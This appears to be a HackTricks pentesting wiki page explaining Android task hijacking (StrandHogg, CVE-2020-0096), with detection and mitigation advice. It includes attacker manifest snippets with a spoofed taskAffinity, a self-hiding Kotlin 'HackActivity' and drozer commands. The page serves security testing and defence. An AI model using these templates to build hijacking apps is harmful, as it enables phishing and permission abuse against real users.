Android Task Hijacking

Reading time: 7 minutes

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Task, Back Stack and Foreground Activities

In Android, a task is essentially a set of activities that users interact with to complete a specific job, organized within a back stack. This stack orders activities based on when they were opened, with the most recent activity displayed at the top as the foreground activity. At any moment, only this activity is visible on the screen, making it part of the foreground task.

Here's a quick breakdown of activity transitions:

  • Activity 1 starts as the sole activity in the foreground.
  • Launching Activity 2 pushes Activity 1 to the back stack, bringing Activity 2 to the foreground.
  • Starting Activity 3 moves Activity 1 and Activity 2 further back in the stack, with Activity 3 now in front.
  • Closing Activity 3 brings Activity 2 back to the foreground, showcasing Android's streamlined task navigation mechanism.

https://developer.android.com/images/fundamentals/diagram_backstack.png


Task affinity attacks

taskAffinity tells Android which task an Activity would prefer to belong to. When two activities share the same affinity Android is allowed to merge them inside the same back-stack even if they come from different APKs.

If an attacker can place a malicious activity at the root of that stack, every time the victim opens the legitimate application the malicious UI will be the first thing the user sees – perfect for phishing or abusive permission requests.

The attack surface is wider than many developers think because every activity automatically inherits an affinity equal to the application package name (unless the developer sets android:taskAffinity=""). Therefore doing nothing already leaves the app open to task hijacking on Android versions prior to 11.

Classic "singleTask / StrandHogg" scenario

  1. The attacker declares an activity with:
    <activity android:name=".EvilActivity"
              android:exported="true"
              android:taskAffinity="com.victim.package"
              android:launchMode="singleTask" >
        <intent-filter>
            <action android:name="android.intent.action.MAIN"/>
            <category android:name="android.intent.category.LAUNCHER"/>
        </intent-filter>
    </activity>
    
  2. The malicious app is started once so that the task (with the spoofed affinity) exists in recent tasks.
  3. When the user later opens the real application, Android finds there is already a task whose root affinity matches the package and just brings that task to the foreground.
  4. The attacker’s UI is shown first.

Default–Affinity (no singleTask) variant – Caller ID case study

The vulnerability reported in the Caller ID (caller.id.phone.number.block) application shows that the attack also works against the default standard launch mode:

  1. Attacker application creates a fake root activity and immediately hides itself:
    class HackActivity : AppCompatActivity() {
        override fun onCreate(savedInstanceState: Bundle?) {
            super.onCreate(savedInstanceState)
            moveTaskToBack(true)   // keep the task in recents but out of sight
        }
    }
    
  2. The manifest only needs to copy the victim package into taskAffinity:
    <activity android:name=".HackActivity"
              android:exported="true"
              android:taskAffinity="com.caller.id.phone.number.block" >
        <intent-filter>
            <action android:name="android.intent.action.MAIN"/>
            <category android:name="android.intent.category.LAUNCHER"/>
        </intent-filter>
    </activity>
    
  3. As soon as the user installs and opens the malicious app once, a task whose affinity equals the victim package exists (but sits in the background).
  4. When the real Caller ID application is launched, Android re-uses that task and brings HackActivity to the foreground → phishing window/permission abuse.

NOTE: Starting with Android 11 (API 30) the system does not place two packages that are not part of the same UID into the same task by default, mitigating this particular variant. Older versions remain vulnerable.


StrandHogg 2.0 (CVE-2020-0096) – Reflection-based task hijack

Google’s May-2020 security bulletin fixed a more advanced variant dubbed StrandHogg 2.0. The exploit does not rely on taskAffinity at all; instead it uses reflection to dynamically insert the attacker’s activity at the top of every running task, completely bypassing the “shared-UID” restriction introduced by Android 11.

Key points:

  • A zero-permission malicious app can, once opened, iterate over running tasks and call hidden APIs to re-parent its own activity into any task.
  • Because the activity is inserted after run-time, neither launchMode nor static manifest analysis can detect the attack in advance.
  • Patched by back-porting a check into Android 8.0/8.1/9 (May 2020 SPL). Android 10 and later are not affected.

Detection on pre-patched devices can be performed with adb shell dumpsys activity activities and watching for suspicious activities whose package name differs from the task’s affinity.

Mitigation for legacy devices is the same as classic Task Hijacking plus run-time verification (e.g. calling ActivityManager#getRunningTasks and validating your own package name).


Detection & Exploitation checklist

  1. Static review – Pull AndroidManifest.xml from the target APK and check that each <activity> (or the global <application> element) contains android:taskAffinity="" (empty) or a customised value. Tools such as:
    # Using apkanalyzer (Android SDK)
    apkanalyzer manifest print app.apk | grep -i taskaffinity
    
    # Using AXMLPrinter2
    java -jar AXMLPrinter2.jar AndroidManifest.xml | grep taskAffinity
    
  2. Dynamic review – On the device open the target app and list tasks:
    adb shell dumpsys activity activities | grep -A3 "TASK" | grep -E "Root|affinity"
    
    A task whose root affinity equals the victim package but whose top activity belongs to a different package is a red flag.
  3. Craft a malicious app as described above, or use Drozer:
    drozer console connect
    run app.activity.start --component com.victim/.MainActivity --action android.intent.action.MAIN
    run app.activity.info com.victim
    

Mitigation

Developers should:

  • Explicitly set android:taskAffinity="" at the <application> level (recommended) or give each activity a unique, private affinity.
  • For highly sensitive screens, combine the above with android:launchMode="singleInstance" or modern setLaunchMode protections.
  • Upgrade the app’s targetSdkVersion and enforce Android 11 behavioural changes where tasks are not shared across packages by default.
  • Target Android 12 (API 31) or higher so that the mandatory android:exported attribute forces developers to audit every externally-reachable component.
  • Consider run-time self-defence: periodically query ActivityTaskManager to ensure that your top activity’s package matches your own.

Task hijacking is often combined with or replaced by tapjacking (overlay-based UI deception). The 2025 TapTrap research showed that fully transparent animation-driven activities can bypass the overlay-touch restrictions introduced in Android 12–14 and still trick users into granting dangerous permissions. While TapTrap is not strictly task hijacking, the end-goal (phishing clicks) is identical – so modern assessments should check for both attack surfaces.


References

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks